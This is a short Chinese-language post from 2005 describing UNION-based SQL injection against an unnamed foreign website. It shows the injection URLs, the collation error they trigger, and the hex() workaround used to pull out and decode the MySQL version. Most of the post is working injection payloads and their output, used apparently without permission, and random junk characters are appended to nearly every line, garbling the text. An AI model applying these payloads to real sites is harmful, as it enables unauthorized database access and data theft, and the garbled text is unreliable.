本文作者:SuperHei; h" M) I1 V4 m
文章性质:原创& u1 x# V" C5 p8 K+ U. {! z
发布日期:2005-10-184 K; J1 Q6 \: v) n/ b) J& u) f
测试个国外的站时:
, B! F" {! Q3 \, D4 V, surl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*! R+ d y7 m. U
返回错误:: U5 H+ {1 s9 V4 I v/ ^
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'% g5 Y; A) `0 m" }1 q, Q$ U
MySQL Error No. 126( k, n0 O$ e3 `: o' F0 I
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。. R2 g }5 v" r7 @& V1 I8 E2 Q
解决办法:转为其他编码如hex。
# H- n7 y( q# S' ?& ourl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*# A/ _% r) Y; E) L" Z7 t, y7 t
成功得到hex(version())的值为:% g$ l( r+ e8 M, \3 V: h
342E312E332D62657461! B# ^4 G: ^: \# Y0 X/ l! J& ~' {+ U1 l
回Mysql查询下得到:; f4 P# \, l6 E8 c9 ?$ ]
mysql> select 0x342E312E332D62657461;1 p1 [& a# n' J+ d4 r- N
+------------------------+) M% }4 i- Z4 ^9 g
| 0x342E312E332D62657461 |
% E- [9 |# I% A; x- c+------------------------+0 M% P4 g) A6 h6 Q! m* x1 M
| 4.1.3-beta |
, w9 Y9 P; w* L; s, A( ^+------------------------+' O4 }, f+ y, X
1 row in set (0.00 sec)
$ ?. @% r& k; f$ M( f3 j. S8 Y8 S/ s e1 R* s8 N. k
|